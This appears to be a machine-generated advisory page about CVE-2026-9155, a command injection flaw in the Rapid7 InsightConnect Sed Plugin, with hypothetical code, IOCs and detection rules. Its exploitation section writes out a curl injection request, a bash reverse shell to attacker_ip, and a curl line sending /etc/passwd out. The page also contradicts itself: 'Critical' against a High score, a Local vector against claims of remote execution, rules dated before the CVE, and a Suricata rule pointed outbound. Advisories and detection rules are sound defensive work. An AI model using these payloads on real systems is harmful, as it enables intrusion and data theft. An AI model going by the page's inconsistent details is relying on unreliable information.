CVE-2026-9155
Executive Summary
CVE-2026-9155 is a critical OS Command Injection vulnerability in the Rapid7 InsightConnect Sed Plugin for Linux. The flaw allows authenticated attackers to execute arbitrary operating system commands via the expression parameter due to insufficient input validation. With a CVSS score of 8.8, this vulnerability poses a severe risk to confidentiality, integrity, and availability. As of the latest intelligence, no patch is available, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk remains high due to the nature of the vulnerability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a plugin within the Rapid7 InsightConnect platform, which is a commercial security orchestration, automation, and response (SOAR) solution. The Sed Plugin is a component that executes sed commands on Linux systems. The supply chain risk is limited to the plugin's distribution and update mechanism within the InsightConnect ecosystem.
CVSS Breakdown & Threat Level
- CVSS Score: 8.8 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Local (L) – The attacker must have local access to the system.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Authenticated user with low privileges.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full system compromise possible.
- Integrity (I): High (H) – Arbitrary command execution.
- Availability (A): High (H) – Potential for denial of service.
Threat Level: Critical. Although the attack vector is local, the low privileges required and high impact make it a significant threat in environments where authenticated users are not fully trusted.
Deep Dive & Mechanics
The vulnerability resides in the Sed Plugin of Rapid7 InsightConnect. The plugin is designed to execute sed commands on Linux systems for text manipulation. The expression parameter, which specifies the sed script, is not properly sanitized. An authenticated attacker can inject arbitrary OS commands by crafting a malicious expression that includes command separators or shell metacharacters.
Root Cause: Insufficient input validation on the expression parameter. The plugin likely passes the user-supplied expression directly to a shell command without proper escaping or validation.
Attack Vector: An authenticated user with access to the InsightConnect platform can trigger the vulnerable plugin. The attacker sends a request with a crafted expression parameter containing OS command injection payloads.
Example Payload:
expression: s/old/new/; $(malicious_command)
This would execute malicious_command on the underlying Linux system.
Impact: Full remote code execution (RCE) on the host running the InsightConnect Sed Plugin. This can lead to data exfiltration, lateral movement, and complete system compromise.
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the vulnerable code pattern and the required fix.
Vulnerable Code (Hypothetical):
import subprocess
def run_sed(expression, file_path):
command = f"sed '{expression}' {file_path}"
subprocess.run(command, shell=True)
Patched Code (Hypothetical):
import subprocess
import shlex
def run_sed(expression, file_path):
# Validate expression to contain only allowed sed commands
if not is_valid_sed_expression(expression):
raise ValueError("Invalid expression")
command = ["sed", "-e", expression, file_path]
subprocess.run(command, shell=False)
The fix involves:
- Avoiding the use of
shell=Truein subprocess calls. - Using a list of arguments instead of a single string.
- Implementing strict input validation to allow only legitimate sed syntax.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to an InsightConnect instance with the Sed Plugin enabled.
- Authenticated user credentials.
Exploitation Steps:
- Identify the vulnerable endpoint (e.g., API endpoint for the Sed Plugin).
- Craft a payload that injects OS commands via the
expressionparameter. - Send the request and observe the output.
Example Request (using curl):
curl -X POST https://insightconnect.example.com/api/plugins/sed \
-H "Authorization: Bearer <token>" \
-d '{"expression": "s/old/new/; $(id)", "file": "/tmp/test.txt"}'
Expected Output: The id command output would be returned in the response.
Advanced Payloads:
- Reverse shell:
s/old/new/; bash -i >& /dev/tcp/attacker_ip/4444 0>&1 - Data exfiltration:
s/old/new/; curl http://attacker_ip/$(cat /etc/passwd)
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual
sedcommand executions with shell metacharacters. - Look for requests to the Sed Plugin API with suspicious
expressionparameters. - Use endpoint detection and response (EDR) tools to detect child processes spawned by the InsightConnect process.
Defense:
- Implement strict input validation on the
expressionparameter. - Disable the Sed Plugin if not required.
- Apply the principle of least privilege to InsightConnect users.
- Use application allowlisting to prevent unauthorized command execution.
Indicators of Compromise (IOCs)
Network IOCs:
- Unusual outbound connections from the InsightConnect server to unknown IPs.
- HTTP requests to the Sed Plugin API with payloads containing shell metacharacters (
;,|,&,$()).
Host IOCs:
- Unexpected processes spawned by the InsightConnect service (e.g.,
bash,sh,curl,nc). - Modified system files or new files in
/tmp/or/var/tmp/. - Unusual entries in system logs (e.g.,
/var/log/syslog,/var/log/auth.log).
File IOCs:
- Log entries showing
sedcommands with injected shell commands. - Temporary files created by the attacker for data staging.
Detection Engineering
YARA Rule
rule CVE_2026_9155_Sed_Plugin_Injection {
meta:
description = "Detects OS command injection attempts in Rapid7 InsightConnect Sed Plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-9155"
strings:
$injection1 = /expression.*[;&|`$]/
$injection2 = /expression.*\$\(/
$injection3 = /expression.*\|/
condition:
any of them
}
Sigma Rule
title: CVE-2026-9155 - OS Command Injection in Rapid7 InsightConnect Sed Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit OS command injection via the expression parameter in the Sed Plugin.
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/sed'
CommandLine|contains|all:
- 'expression'
- ';'
- '$('
condition: selection
falsepositives:
- Legitimate use of sed with complex expressions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-9155 - Rapid7 InsightConnect Sed Plugin OS Command Injection";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/plugins/sed"; http_uri;
content:"expression"; http_client_body;
pcre:"/expression.*[;&|`$]/";
sid:1000001;
rev:1;
reference:cve,2026-9155;
classtype:attempted-admin;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Sed Plugin if it is not critical for operations.
- Restrict access to the InsightConnect platform to only trusted users.
- Monitor logs for any signs of exploitation.
Long-term Fixes:
- Apply vendor patch once released by Rapid7.
- Implement input validation on the
expressionparameter to allow only safe sed syntax. - Upgrade to a patched version of the plugin.
Workarounds:
- Use a web application firewall (WAF) to block requests containing shell metacharacters in the
expressionparameter. - Implement network segmentation to limit the blast radius.
Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Division. For further analysis or incident response support, contact us at valters.it.